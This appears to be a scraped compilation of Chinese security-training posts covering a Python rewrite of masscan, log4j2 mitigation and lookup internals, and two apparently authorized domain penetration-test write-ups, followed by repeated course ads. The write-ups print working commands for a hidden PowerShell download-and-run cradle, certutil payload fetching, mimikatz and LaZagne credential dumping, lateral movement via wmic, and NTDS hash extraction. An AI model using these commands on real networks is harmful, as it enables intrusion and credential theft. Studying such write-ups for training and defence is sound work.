我们只需要发送一个tcp syn包，假如对方的端口的确开放，那么他会回复tcp syn+ack报文。假如对方端口未开放，那么会回复tcp rst报文。这就叫tcp半开放扫描。

传统扫描技术，需要我们在发送完tcp syn包的同时，等待对方返回相应的包。而发送功能呢，同样需要等待对方响应。这也就是说我们为什么需要多线程和协程。

但是在pcap中，调用网卡发送完数据后，程序立即响应，并不会阻塞在等待中。接收数据包需要我们自己处理。

接收

调用pcap_next_ex即可收报。在masscan中使用pcap_next收报。但是该函数存在很多问题，例如收报不及时等。官方推荐**pcap_next_ex函数。**这块我们顺手改成这个函数即可。注意，开启抓包模式的情况下，可能也会捕获系统tcp/ip的报文。

既然我们一个线程发送，一个线程接收。如何从响应包中确定开放端口呢？回到tcp syn中，发送一个seq为x的syn包。对方响应ack+syn，ack序号为syn包的x+1。那么我们将目标ip，目标端口，我们的ip，我们的端口做一个简单的hash，结果设为syn包的seq。这样我们只需要对接收到的报文同样做hash运算，即可确定是我们发送的扫描包的响应。如图为了防止重复多个报文，我们使用bloom过滤器。相对于hashmap，bloom过滤器可以很好的应对小内存与大数据量的去冲。

注意，在解析ip报文的时候一定要考虑options选项！

控制发包速度

现在万事俱备直接发包就行。但是我们要控制发送速度，太快或者太慢都不好。在这里我们移植masscan的代码，名为Throttler，也就是化油器。

在ip层是尽力而为，也就是说我们发包速度太快，路由器很有可能并不会转发，直接丢弃。这也就是我们为什么需要控制发包速度的原因。

在最之前有icmp 源抑制报文，源站抑制报文旨在请求发送方降低发往路由器或主机的报文发送速率。在接收的过程中，当接收方没有足够的接收缓冲区来处理接收到的报文，或者接收这个报文会导致临近其本身的缓冲区限制时，就会触发源站抑制报文。数据被从一个或一群主机高速地发往网络上的一个路由器，虽然路由器有缓冲机制，但是路由器的缓冲区大小通常（由于物理内存有限的原因）被限制。因此，如果路由器的通信量过大，路由器最终会（由于内存耗尽，导致必须丢弃掉接收到的数据报）无法继续处理超过输入缓冲区限制的部分数据，直到路由器缓冲队列有空余空间可以存放新的数据报。但是由于网络层（Network Layer）缺乏确认消息（ACK）机制，因此客户端无法获知数据是否成功抵达接收方。所以研究者提出了源站抑制这一补救措施来解决这一问题：当路由器发现流入数据速率远远高于流出数据速率时，会发送ICMP源站抑制报文给源站，通知源站应该降低其数据传输速度或等待一定时间后再尝试发送更多数据。当源站接收到ICMP源站抑制报文时会减慢数据发送的速度，或者在再次尝试发送数据前等待一定的时间，使得路由器能够（在处理完当前接收到的数据之后）清空输入缓冲队列。但是因为有研究表明“源站抑制是一种无效的（不公平的）补救措施“，所以路由的源站抑制报文已在1995年被RFC 1812弃用。此外，（路由）转发和回应任何形式的源站抑制报文已在2012年被RFC 6633 弃用。

核心思想是使用令牌桶的原理，学过QOS流量的网工大佬都知道令牌桶限速算法。每秒钟给多少个令牌，然后发送即可

重写

为什么选择重写？降低开发难度，解决bug，添加指纹识别功能。masscan的基础功能在很多种场景不适合我们。我们团队中懂c开发的同学非常少，所以我们只能选择使用python重写。万幸的是masscan的代码质量很高，重写起来效率非常高。使用python编写例如目标输入，结果输出，等非核心代码。pcap发包函数等，直接将masscan的代码移植到python中即可。

c与python传递指针

在masscan中存在大量的指针操作。我们如何将c指针传递到python，在c语言中获取python传递的指针。在python中使用Capsule对象即可包装一个指针成为c对象，用法十分简单，示例代码

/* Destructor function for points */
static void del_Point(PyObject *obj) {
  free(PyCapsule_GetPointer(obj,"Point"));
}
 
static PyObject *PyPoint_FromPoint(Point *p, int must_free) {
  /* 胶囊和C指针类似。在内部，它们获取一个通用指针和一个名称，可以使用
  PyCapsule_New() 函数很容易的被创建。 另外，一个可选的析构函数能被
绑定到胶囊上，用来在胶囊对象被垃圾回收时释放底层的内存*/
  return PyCapsule_New(p, "Point", must_free ? del_Point : NULL);
}
/* Utility functions */
static Point *PyPoint_AsPoint(PyObject *obj) {
  return (Point *) PyCapsule_GetPointer(obj, "Point");
}

计数引用

由于我们的代码在c中，例如生成的对象引用等，python虚拟机根本就管不到。很有可能造成内存溢出的难题。所以我们一定要对计数引用了如指掌。

什么时候不需要调用INCREF

1.对于函数中的局部变量，这些局部变量如果是PyObject对象的指针，没有必要增加这些局部对象的引用计数。理论上，当有一个变量指向对象的时候，对象的引用计数会被+1，同时在变量离开作用域时，对象的引用计数会被-1，而这两个操作是相互抵消的，最终对象的引用数没有改变。使用引用计数真正的原因是防止对象在有变量指向它的时候被提前销毁。

什么时候需要调用INCREF

如果有任何的可能在某个对象上调用DECREF，那么就需要保证该对象不能处于unprotected状态。1） 如果一个引用处于unprotected，可能会引起微妙的bug。一个常见的情况是，从list中取出元素对象，继续操作它，但是不增加它的引用计数。PyList_GetItem 会返回一个 borrowed reference ，所以 item 处于未保护状态。一些其他的操作可能会从 list 中将这个对象删除（递减它的引用计数，或者释放它）。导致 item 成为一个悬垂指针。2） 传递PyObject对象给函数，一般都是假设传递过来的对象的引用计数已经是protected，因此在函数内部不需要调用Py_INCREF。不过，如果想要参数存活到函数退出，可以调用Py_INCREF。

编译产物

在这里使用python build就可以完成。但是我是用cmake编译，脚本如下

include_directories(/opt/homebrew/opt/python@3.9/Frameworks/Python.framework/Headers)
add_link_options( -undefined dynamic_lookup  -Wl,-headerpad,0x1000)
message(${PROJECT_NAME})
add_library(pyh SHARED  ${superscan})
set_target_properties(pyh PROPERTIES SUFFIX "so")
set_target_properties(pyh PROPERTIES PREFIX "")
set_target_properties(pyh PROPERTIES OUTPUT_NAME "SuperScan_C.cpython-39-darwin.")

调用

我们需要写一份接口文件，方便类型推断。

存储扫描结果

我们可以预先生成扫描结果，将其存储在磁盘中，在读取的时候利用生成器的思想读取即可。

测试

代码截图 发送函数抓包函数

由于python GIL锁的问题，我们最终达到每秒发送50万 tcp syn包的成绩。网卡每秒发送80-100MB的流量。扫描千万级别IP的端口开放仅需半小时。

内存占用15MB左右。相对比使用命令行启动masscan，大大提升了性能。并且开发简单～

最近一天被log4j2刷屏了，多说一句，这个漏洞其实非常考验安全人员的应急能力，代码能力和社交能力。漏洞都三天了，竟然还有人在要exp，现在做安全的人都这么水了吗？

我们向开发者给出安全建议的时候，一定要结合业务方具体需求，不要给出不切合实际的修复方案。即不能宕机，又要保证安全性。

还有很多写规则的乙方waf同学，漏洞自己都没研究明白，就要写规则，结果误报一大堆。

修复方法1，升级

这种方案是最简单的，但是需要关闭应用，重新打包，提测。但是这种修复方案是最彻底的。当然，如果因为某些原因不方便关闭应用，那么下面几种方法可能最适合业务方。

修复方法2，修改配置文件

这个修复方法也需要暂时关闭应用，配置方法 log4j2.formatMsgNoLookups=True。当然，既然选择这种修复方案，那还不如选择第一种修复方案比较彻底。

修复方法3，javaagent

这个方法，需要给JDK注入一个jar，在jar中将存在漏洞的class代码直接修改。缺点？有可能业务方不愿意用你的rasp。毕竟拖拖拉拉，万一影响业务性能巴拉巴拉怎么整？

但是优点不需要关闭站点，不会影响线上业务。

参考长亭 https://github.com/chaitin/log4j2-vaccine

修复方法4，反射修改属性

这种方法同样也不需要重启应用，只需要可以在对方的JVM中执行代码，就可以修复。无任何风险。当然前提一定是可以执行代码，方式包括jsp文件等。

这东西其实就是内存马的核心思想，包括DFS搜索对象等等～

既然我们已经知道了，最终根据前缀来找到最终的处理程序，也就是lookup。那么我们通过反射，直接修改strLookUPMap不就可以。

在log4j2中，配置文件是用单例模式，所以非常容易修改。。

通过反射修改这个对象，首先我们要拿到这个对象的引用。

使用我这段通过DFS搜索对象的工具。

选择一个我们喜欢的对象查找路径，然后将其变成反射代码就可以了。代码大概如图

把这段代码包装成jsp文件，直接上传到web站点运行就行。当然如果是springboot的话，想办法执行代码也是可以的。

最终成功的没有触发jndi请求。

代码

    Object obj = LogManager.getLogger();
    Field contextF = obj.getClass().getDeclaredField("context");
    contextF.setAccessible(true);
    Object context = contextF.get(obj);
    Field configurationF = context.getClass().getDeclaredField("configuration");
    configurationF.setAccessible(true);
    Object configuration = configurationF.get(context);
    Field substF = configuration.getClass().getSuperclass().getDeclaredField("subst");
    substF.setAccessible(true);
    Object subst = substF.get(configuration);
    Field variableResolverF = subst.getClass().getDeclaredField("variableResolver");
    variableResolverF.setAccessible(true);
    Object variableResolver = variableResolverF.get(subst);
    Field strLookupMapF = variableResolver.getClass().getDeclaredField("strLookupMap");
    strLookupMapF.setAccessible(true);
    HashMap strLookupMap = (HashMap) strLookupMapF.get(variableResolver);
    strLookupMap.remove("jndi");

以上几种方法仅供参考

一個稱得上優秀的框架，必備的要素之一可以通過某種約定的格式讀取到所運行環境中的配置信息。本文中我們就來感受下log4j2實現此項功能時的精妙設計。

一 概述

“ Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. ”

以上內容複製於log4j2的官方文檔lookup - Office Site。其清晰地說明了lookup的主要功能就是提供另外一種方式以添加某些特殊的值到日誌中，以最大化鬆散耦合地提供可配置屬性供使用者以約定的格式進行調用。

二. 配置示例

以下列舉了兩個主要使用的位置；當然不僅僅如此，log4j2允許你在任何需要的地方使用約定格式來獲取環境中的指定配置信息。

<properties>
   <!-- 之後我們就可以以 ${logPath}來引用該屬性值  -->
  <property name="logPath">${sys:catalina.home}/xmlogs</property>
</properties>
<!-- 這裏的${hostName} 是由log4j2默認提供的, 其值爲程序所在的服務器的主機名 -->
<!-- 至於${thread:threadName}, 將是本次我們所提供一個自定義lookup示例 -->
<PatternLayout pattern="[${hostName}];[${thread:threadName}];[%X{user}];[$${ctx:user}];[$${date:YYYY-MM/dd}]" />
关于log4j2的详细使用说明，请参看官网开发文档。

三. 分析

我们分析一下lookup机制，都会在什么地方级别的日志中出现。首先我们要了解一点日志等级，在log4j2中， 共有8个级别，按照从低到高为：ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF。

• All:最低等级的，用于打开所有日志记录.
• Trace:是追踪，就是程序推进一下.
• Debug:指出细粒度信息事件对调试应用程序是非常有帮助的.
• Info:消息在粗粒度级别上突出强调应用程序的运行过程.
• Warn:输出警告及warn以下级别的日志.
• Error:输出错误信息日志.
• Fatal:输出每个严重的错误事件将会导致应用程序的退出的日志.
• All:最低等级的，用于打开所有日志记录.
• Trace:是追踪，就是程序推进一下.
• Debug:指出细粒度信息事件对调试应用程序是非常有帮助的.
• Info:消息在粗粒度级别上突出强调应用程序的运行过程.
• Warn:输出警告及warn以下级别的日志.
• Error:输出错误信息日志.
• Fatal:输出每个严重的错误事件将会导致应用程序的退出的日志.

程序会打印高于或等于所设置级别的日志，设置的日志等级越高，打印出来的日志就越少 。

详细代码可以看这里

也就是说，在不管什么级别的日志下都可以出发lookup。但是为什么有些级别的日志下却不可以触发呢？那是因为你的日志级别设置的太高，导致log4j根本就没打印日志内容。

在org.apache.logging.log4j.core.pattern.MessagePatternConverter#format中，会按字符检测每条日志，一旦发现某条日志中包含$ {，则触发替换机制，也就是将表达式内的内容替换成真实的内容，其中config.getStrSubstitutor().replace(event, value)执行下一步替换操作，关键代码如图

org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder, int, int, java.util.List<java.lang.String>)中，其实就是一个简单的字符串提取，然后找到lookup的内容并替换。函数的文档如下

没啥说的，一个简单的字符串查找函数，学过数据结构的都会，不详细介绍了。

在函数的这个地方，执行变量解析，如图

在这个函数，执行查找，也就是根据变量的协议，关键代码+文档如图

剩下就是一个简单的字符串查找函数，从字符串中提取类似于url的结构去解析，关键代码如下

值得注意的是，log4j2支持很多协议，例如通过ldap查找变量，通过docker查找变量，详细参考这里https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html

代码结构如图

由以上類層次結構圖可以看出

1. log4j2提供不下十種獲取所運行環境配置信息的方式，基本能滿足實際運行環境中獲取各類配置信息的需求。
2. 我們在自定義lookup時，可以根據自身需求自由選擇繼承自StrLookup，AbstractLookup，AbstractConfigurationAwareLookup等等來簡化我們的代碼。以上默認提供的各類lookup，其取值來源看官可以通過下面給出的引用鏈接中的第二個進行詳細的瞭解，我就不再在這裏贅述一遍了。

接下來我們來探索一些稍微深入的內容，以及一些細節性的內容。

1. 作爲lookup對外門面的Interpolator是通過 log4j2中負責解析節點的PropertiesPlugin類來併入執行流程中的。具體源碼可以參見PropertiesPlugin.configureSubstitutor方法。其中注意的是，我們在中提供的屬性是以default的優先級提供給外界的。
2. 作爲lookup對外門面的Interpolator，在其構造函數中載入了所有category值爲StrLookup.CATEGORY的plugin【即包括log4j2內置的(“org.apache.logging.log4j.core” package下的），也包括用戶自定義的（log4j2.xml文件中的 Configuration.packages 屬性值指示的package下的）】。
3. Interpolator可以單獨使用，但某些值可能取不到。
4. 獲取MDC中的內容，log4j2提供了兩種方式：$${ctx:user}或%X{user}。

本文来自宽字节安全第一期线下培训学员Lemon投稿。第二期线下培训预计十一月底开班，欢迎咨询。

号外

宽字节第二期线下培训开始招生啦！！！

宽字节首期内网渗透线上课开班啦！！！

宽字节第二期JAVA安全进阶线上课开班啦！！！

在某次项目中对某个网站的渗透测试，记录一下。

先做信息收集，使用oneforall收集一下子域名。

python3 oneforall.py --target xxxxx run

在对上面的扫描结果逐一测试的时候，发现某子域名有weblogic漏洞

通过weblogic漏洞利用工具扫描发现有CVE_2020_2551漏洞，管理员用户

判断是否出网

目标机器出网，并且能和VPS服务器通信

cs上线

执行poweshell看能不能上线

cmd.exe /c powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxx'))"

cs可以上线

拿到administrator权限，

密码收集

1.执行mimikatz获取密码

logonpasswords

2.使用LaZagne取各种连接工具密码、浏览器保存密码等

shell cmd.exe /c D:\bea\lazagne.exe all -oN

3.抓取浏览器密码，使用BrowserGhost

dump LDAP

查询到目标机器在域内，域用户登录

shell wmic computersystem get domain

shell whoami /all

前面已经确定目标机器在域内，并且目标机器是域用户登录。

域成员用户可以通过LDAP访问域的目录数据库从而看到整个域的信息。

这是使用的一种方式是通过 ADExplorer软件dump

将ADExplorer.exe上传到目标机器，使用以下命令执行

D:\bea\xx\ADExplorer.exe -snapshot "" D:\bea\xx\result.dat /accepteula

将resul.dat 在本地用ADExplorer打开即可看到域的信息

扫描内网

查看本机IP，本机IP为192.168.10.3.

使用fscan工具扫描一下192.168.10内网段，从扫描结果看出192.168.10.10和192.168.10.32应该是域控服务器

横向

通过LDAP和内网扫描看到域内有两台域控：192.168.10.10、192.168.10.32

判断用户权限

shell whoami /all

shell net group "domain admins" /domain

比较幸运，上线就是域管用户可以直接使用域管用户身份横线域内其他机器

先尝试横向域控192.168.10.10机器，wmic可用，通过wmic进行横向

shell wmic /node:192.168.10.10 os get name

判断是否有杀软

shell wmic /node:192.168.10.10 process get processid,name

列出192.168.10.10进程，使用杀软在线查询，目标机器有杀软

判断192.168.10.10是否出网，如果直接执行ping 8.8.8.8或者其他公网地址，但是CS上没有回显就无法判断，在这里分享一下我常用的两种方法：

1.通过DNSlog （http://www.dnslog.cn/）

shell wmic /node:192.168.10.10 process call create "cmd.exe /c ping g2azxa.dnslog.cn"

2.通过tcpdump

tcpdump -i 网卡名 icmp
shell wmic /node:192.168.10.10 process call create "cmd.exe /c ping VPSip"

两种方法都没有回显，192.168.10.10不出网。

192.168.10.10不出网而且有杀软，先做免杀，然后通过CS的smb隧道将192.168.10.10link上线

在CS上创建SMB监听，使用smb监听生成beacon。

将做好免杀的beacon 上传到192.168.10.10。

通过link192.168.10.10 上线

shell wmic /node:192.168.10.10 process call create "cmd.exe /c c:\Users\Public\ms.exe c:\Users\Public\mnb.bin.new"
link 192.168.10.10

第一台域控上线，接着横向另一台192.168.10.32机器，方法跟上面一样，判断出网和杀软。

192.168.10.32出网有杀软，这样就不用通过link上线了，直接做免杀beacon上线就行。

shell wmic /node:192.168.10.32 process call create "cmd.exe /c c:\Users\Public\ms.exe c:\Users\Public\beacon.bin.new"

拿到域控可以导出域hash

Windows的密码是经过hash后存储的，本地存在hklm\sam，hklm\system注册表中

域里面存在域控制器的c:\windows\ntds\ntds.dit中，我们取出来解密即可

shell ntdsutil "activate instance ntds" ifm "create full C:\users\Public\ntdsutil" quit quit

再使用reg命令导出system 和security

  reg save hklm\system system
  reg save hklm\security security

使用impacket下的secretsdump.py 解hash

python secretsdump.py -ntds "C:\ntds\ntds.dit" -security "C:\ntds\SECURITY" -system "C:\ntds\SYSTEM" local

最后成功获取当前域控中所有域账户和密码

本文来自宽字节安全第一期学员zy投稿。第二期线下培训预计十一月底开班，欢迎咨询。

0x01前期ｗｅｂ打点

接到某授权渗透项目：端口扫描发现7001端口，访问该页面发现是weblogic报错页面。

目录扫描发现uddiexplorer目录，验证是weblogic应用指纹。

0x02 打点

1、使用weblogic漏洞利用工具进行打点。

发现目标系统是Windows系统。

2、查看系统的具体版本，是否出网，是工作组环境还是域环境

wmic os get name&&wmic COMPUTERSYSTEM get domain&&ping 8.8.8.8

目标是一台2012 R2的电脑，在域内环境，可出网。

3、判断是否存在杀软。

使用在线的杀软识别没有检测出来，后来查询到Pxxx 是某厂商款杀软的进程。

0x03 上线

1、准备免杀马。直接掏出免杀马，由于目标机器出网，主动下载构造的免杀马落到目标机器上。

下载成功后运行让目标上线到自己的CS。

0x04内网渗透

1、内网信息收集

域内信息收集把域内的信息收集的足够充足，然后进行移动横向。

1、Dump LDAP

执行whoami /all查看当前用户

发现是域用户。前面判断是不是域的时候，已经得知域的名字，所以现在可以确实是域成员登录，在域内的成员都是可以连接到 LDAP。通过拉取LDAP到本地后可以清晰的看到当前域的OU和组，查看域控，域管理员信息。

dump LDAP的两种方式：

1. 使用域成员的账号和密码登录 ADExplorer软件，然后再进行保存。

使用这个方法的前提是需要代理到本地，需要知道域成员的密码或者hash

2. 需要把ADExplorer软件上传到目标机器上面，然后执行命令进行导出。

ADExplorer.exe -snapshot "" result.dat /accepteul  

2、端口扫描

通过portscan扫描端口定位到 开放443 135 端口的机器，也可以使用fscan 去扫描整个内网，但是动静太大。

192.168.205网段只有一台开放 445，135端口，这台可以横向的机器同时开放了 88，389 端口，一般只有域控会开放这两个接口。和LDAP 信息进行对比确定域控的名字是一致的。

3、LDAP 查看域内基本信息

把导出的 LDAP 信息下载到本地然后查找这个域里的域控，域管理员。查找到域控

是一台 server 2016 ，主机名是 server2016。

查找域内管理员

域内的所有机器通过LDAP信息，可以发现这个域内有很多Windows7 的机器，甚至还有Xp的电脑。这也为拿下这个域提供了更多选择，比如 MS17-010。

查询域内用户 需要注意objectSid 这个字段，是这个与成员的SID可以配合mS-Ds-CreatorSID这个字段

查询有mS-Ds-CreatorSID这个字段的机器

有mS-Ds-CreatorSID字段的机器说明是被域用户拉入域内，对应的SID值就是拉他们进域的域用户的SID值。而这个域用户就拥有这些机器的 基于资源的约束委派 的鉴权能力。就可以做基于资源的约束约束委派的攻击(RBCD)。

4、收集本机密码凭证加提权。

1、查看本机权限加提权 whoami /all 可以看到当前用户令牌为低权令牌，之前在 LADP 里面查看域管理员的时候发现已经上线这台机器的域用户是域管理员，但是他的令牌不完整，缺少 dump hash 的特权。

在CS中使用 命令 查看域里面的管理员net group "domain admins" /domain

现在需要做的就是Bypass UAC ，从低权令牌获取到高权令牌，获取到完整令牌。

经过测试 使用 计划任务 成功Bypass UAC，获取到完整令牌。

再次 whoami /all 查看令牌，已经是完成的令牌。

2、凭证密码收集：

获取凭证密码、hash 包括存在浏览器里面的密码也是收集的目标

1、使用完整令牌的域管理员 进行 mimikzta dump 密码

成功获取到hash

2、使用 BrowserGhost 获取存储在浏览器的密码

2、内网横向

前面信息收集中获取了 域管理员的 hash、可横向的目标、域控的主机名与IP。

1、使用wmic 命令进行横向测试

使用 os get name 测试能否横向shell wmic /node:192.168.205.3 os get name

2、测试能否出网

测试横向目标域控是否出网，如果出网可以使用反弹shell进行连接，如果不出网就需要使用正向连接。

测试是否出网方法

第一种：使用 wmic /node:192.168.205.3 process call create "cmd.exe /c ping 8.8.8.8 > c:\1.txt"

再使用 net use UNC 路径去读取保存ping 结果的文件

第二种: 在自己的vps 上面起一个监听

tcpdump -i 网卡 icmp

然后让目标主机去 ping 自己的vps

在自己的vps上面查看是否有机器在ping 自己 判断是否出网

这里我选择第二种

通过测试得知横向目标是可以出网的。

3、测试横向目标是否有杀软

使用 process get processid,name 或者 tasklist /S hosename 查看横向目标所运行的服务进行判断是否有杀软。

Tasklist  /S server2016 这个命令需要知道主机名

shell wmic /node:192.168.205.3 process get processid,name

依旧是发现了杀软的进程，也就是无法直接使用powershell 进行横向，需要把免杀马放到域控上面，然后使用wmic执行命令。

2、UNC共享（net use）

把本机的免杀马复制到域控上面。

net use \\192.168.1.1\c$ "admin@123" /user:administrator

但是在使用 net use 命令的时候发现 无法使用

UNC 路径无法使用，之前考虑把免杀马复制过去的操作无法实现，现在的想法是 让域控去自己的vps 下载免杀马，然后再执行，使用WMIC命令之执行。

3、wmic 下载文件、横向域控

wmic /node:xxx process call create "cmd.exe /c certutil -urlcache -split -f http://xxx C:\users\public\filename "

这个操作需要知道存放文件的绝对路径，windows  基本都会有的路径C:\Users\Public

经过操作域控成功上线。

1、dump NTDS

到域控以后先把 NTDS dump 下来，这个里面存储所有域用户的hash

powershell ntdsutil "activate instance ntds" ifm "create full C:\Users\Public\ntdsutil" quit quit

2、解密NTDS

把NTDS 下载到本地之后 使用 impact 工具包 把hash 跑出来

python secretsdump.py -ntds "C:\Users\xxx\Desktop\nt\ntds.dit" -security "C:\Users\xxx\Desktop\nt\SECURITY" -system "C:\Users\xxx\Desktop\nt\SYSTEM" local

找到 krbtgt 用户的hash 是做黄金票据的根本，拥有了所有域用户的hash ，可以制作白银票据，不经过域控就就可以登录到想要的目标，而且不会在域控下留下日志文件。因为当前网段只有 当前落脚点和域控开机，其他电脑都是关机状态，本次的域渗透也到此结束了。

"任何职业都可以成为黑客。" ——引自《黑客伦理与信息时代精神》。

线下就业班

宽字节安全线下就业班 第二期，于 2021 年 11 月 25 号开班。

线上专题班

内网渗透专题班 ，于 2021 年 11 月 15 号开班。

JAVA安全专题班 第二期 ，于 2021 年 11 月 15 号开班。

为什么办培训

为什么选择我们

1. 宽字节有自己的安全理念，不同于只讲解工具使用的教程，宽字节更注重原理与基础，万丈高楼平地起，我们将带领学员深入漏洞的本质，探索安全的魅力
2. 团队有丰富的红蓝对抗经验，一线红队与安全研究的师傅全程线下授课
3. 教学内容通俗易懂，贴合实战，紧密贴合一线攻防人员的需求
4. 宽敞明亮的教室，各种靶机供学员练习，良好的学习氛围
5. 大量的信息安全类书籍供学员借阅，内部资料向学员开放

有了 第一期培训 的经验，我们重新梳理细化了整个课程体系和教学资料。增加了 阶梯性教学 和 分班机制 。让基础好的同学能够在学习中沉淀更多东西，基础较弱的同学增加大量基础内容的实战训练，快速提升。让学员在完成培训后，能够深入本质，熟悉漏洞的成因，利用与防护规则。独立完成整个渗透测试流程，积累一定的漏洞分析，内网渗透，域渗透的经验，对安全有自己的认识。

宽字节安全第一期线下培训已经进行了一半了，来一起看看下线培训的情况吧。

展示

• 内部 Wiki

• 学习环境

• 学习氛围

学员们自行组织相约早晨 7点多 提前到教室学习，学到晚上十点以后走已经成了大家的日常，无任何强制性，全凭大家对网络安全的热爱。

• 学员笔记

• 学员文章

• 实战项目

涉密，暂不展示。

联系我们

"任何职业都可以成为黑客。" ——引自《黑客伦理与信息时代精神》。

线下就业班

宽字节安全线下就业班 第二期，于 2021 年 11 月 25 号开班。

线上专题班

内网渗透专题班 ，于 2021 年 11 月 15 号开班。

JAVA安全专题班 第二期 ，于 2021 年 11 月 15 号开班。

为什么办培训

为什么选择我们

1. 宽字节有自己的安全理念，不同于只讲解工具使用的教程，宽字节更注重原理与基础，万丈高楼平地起，我们将带领学员深入漏洞的本质，探索安全的魅力
2. 团队有丰富的红蓝对抗经验，一线红队与安全研究的师傅全程线下授课
3. 教学内容通俗易懂，贴合实战，紧密贴合一线攻防人员的需求
4. 宽敞明亮的教室，各种靶机供学员练习，良好的学习氛围
5. 大量的信息安全类书籍供学员借阅，内部资料向学员开放

有了 第一期培训 的经验，我们重新梳理细化了整个课程体系和教学资料。增加了 阶梯性教学 和 分班机制 。让基础好的同学能够在学习中沉淀更多东西，基础较弱的同学增加大量基础内容的实战训练，快速提升。让学员在完成培训后，能够深入本质，熟悉漏洞的成因，利用与防护规则。独立完成整个渗透测试流程，积累一定的漏洞分析，内网渗透，域渗透的经验，对安全有自己的认识。

宽字节安全第一期线下培训已经进行了一半了，来一起看看下线培训的情况吧。

展示

• 内部 Wiki

• 学习环境

• 学习氛围

学员们自行组织相约早晨 7点多 提前到教室学习，学到晚上十点以后走已经成了大家的日常，无任何强制性，全凭大家对网络安全的热爱。

• 学员笔记

• 学员文章

• 实战项目

涉密，暂不展示。

联系我们

"任何职业都可以成为黑客。" ——引自《黑客伦理与信息时代精神》。

线下就业班

宽字节安全线下就业班 第二期，于 2021 年 11 月 25 号开班。

线上专题班

内网渗透专题班 ，于 2021 年 11 月 15 号开班。

JAVA安全专题班 第二期 ，于 2021 年 11 月 15 号开班。

为什么办培训

为什么选择我们

1. 宽字节有自己的安全理念，不同于只讲解工具使用的教程，宽字节更注重原理与基础，万丈高楼平地起，我们将带领学员深入漏洞的本质，探索安全的魅力
2. 团队有丰富的红蓝对抗经验，一线红队与安全研究的师傅全程线下授课
3. 教学内容通俗易懂，贴合实战，紧密贴合一线攻防人员的需求
4. 宽敞明亮的教室，各种靶机供学员练习，良好的学习氛围
5. 大量的信息安全类书籍供学员借阅，内部资料向学员开放

有了 第一期培训 的经验，我们重新梳理细化了整个课程体系和教学资料。增加了 阶梯性教学 和 分班机制 。让基础好的同学能够在学习中沉淀更多东西，基础较弱的同学增加大量基础内容的实战训练，快速提升。让学员在完成培训后，能够深入本质，熟悉漏洞的成因，利用与防护规则。独立完成整个渗透测试流程，积累一定的漏洞分析，内网渗透，域渗透的经验，对安全有自己的认识。

宽字节安全第一期线下培训已经进行了一半了，来一起看看下线培训的情况吧。

展示

• 内部 Wiki

• 学习环境

• 学习氛围

学员们自行组织相约早晨 7点多 提前到教室学习，学到晚上十点以后走已经成了大家的日常，无任何强制性，全凭大家对网络安全的热爱。

• 学员笔记

• 学员文章

• 实战项目

涉密，暂不展示。

联系我们

"任何职业都可以成为黑客。" ——引自《黑客伦理与信息时代精神》。

线下就业班

宽字节安全线下就业班 第二期，于 2021 年 11 月 25 号开班。

线上专题班

内网渗透专题班 ，于 2021 年 11 月 15 号开班。

JAVA安全专题班 第二期 ，于 2021 年 11 月 15 号开班。

为什么办培训

为什么选择我们

1. 宽字节有自己的安全理念，不同于只讲解工具使用的教程，宽字节更注重原理与基础，万丈高楼平地起，我们将带领学员深入漏洞的本质，探索安全的魅力
2. 团队有丰富的红蓝对抗经验，一线红队与安全研究的师傅全程线下授课
3. 教学内容通俗易懂，贴合实战，紧密贴合一线攻防人员的需求
4. 宽敞明亮的教室，各种靶机供学员练习，良好的学习氛围
5. 大量的信息安全类书籍供学员借阅，内部资料向学员开放

有了 第一期培训 的经验，我们重新梳理细化了整个课程体系和教学资料。增加了 阶梯性教学 和 分班机制 。让基础好的同学能够在学习中沉淀更多东西，基础较弱的同学增加大量基础内容的实战训练，快速提升。让学员在完成培训后，能够深入本质，熟悉漏洞的成因，利用与防护规则。独立完成整个渗透测试流程，积累一定的漏洞分析，内网渗透，域渗透的经验，对安全有自己的认识。

宽字节安全第一期线下培训已经进行了一半了，来一起看看下线培训的情况吧。

展示

• 内部 Wiki

• 学习环境

• 学习氛围

学员们自行组织相约早晨 7点多 提前到教室学习，学到晚上十点以后走已经成了大家的日常，无任何强制性，全凭大家对网络安全的热爱。

• 学员笔记

• 学员文章

• 实战项目

涉密，暂不展示。

联系我们

线下就业班

宽字节安全线下培训班 第二期，于 2021 年 11 月 25 号开班。

为什么选择我们

1. 宽字节有自己的安全理念，不同于只讲解工具使用的教程，宽字节更注重原理与基础，万丈高楼平地起，我们将带领学员深入漏洞的本质，探索安全的魅力
2. 团队有丰富的红蓝对抗经验，一线红队与安全研究的师傅全程线下授课
3. 教学内容通俗易懂，贴合实战，紧密贴合一线攻防人员的需求
4. 宽敞明亮的教室，各种靶机供学员练习，良好的学习氛围
5. 大量的信息安全类书籍供学员借阅，内部资料向学员开放

有了 第一期培训 的经验，我们重新梳理细化了整个课程体系和教学资料。增加了 阶梯性教学 和 分班机制 。让基础好的同学能够在学习中沉淀更多东西，基础较弱的同学增加大量基础内容的实战训练，快速提升。让学员在完成培训后，能够深入本质，熟悉漏洞的成因，利用与防护规则。独立完成整个渗透测试流程，积累一定的漏洞分析，内网渗透，域渗透的经验，对安全有自己的认识。

宽字节安全第一期线下培训已经进行了一半了，来一起看看下线培训的情况吧。

展示

• 内部 Wiki

• 学习环境

• 学习氛围

学员们自行组织相约早晨 7点多 提前到教室学习，学到晚上十点以后走已经成了大家的日常，无任何强制性，全凭大家对网络安全的热爱

• 学员笔记

• 学员文章

Windows 名称解析机制

记一次 mssql 注入到 getshell

记一次 weblogic 的域渗透实战

利用安全描述符隐藏服务后门进行权限维持

Windows 身份认证

• 住宿环境

一人一屋，互不打扰，保证学员的休息质量

• 实战项目

涉密，暂不展示。

上课时间

上课时间为每周周一到周六，早晨九点到下午五点三十分，晚上为晚自习时间，用于大家复习与练习。总时常 4 个半月 到 5 个月。

课程费用

课程定价 24888，十一假期结束前报名立减1000，加入即送宽字节安全知识星球名额，涉及java安全，红蓝对抗，内网渗透，漏洞研究等安全领域，星球长期更新，欢迎各位大佬加入交流。

联系我们

前言

课程优势

为啥选择我们

渗透小记 - 中继和委派的实战利用

[域渗透] SQLSERVER 结合中继与委派

结合 Artifact Kit 和 Syswhispers 绕过AV/EDR

CobaltStrike Powershell Bypass AV

从原理对抗 CobaltStrikeScan

免杀任意EXE

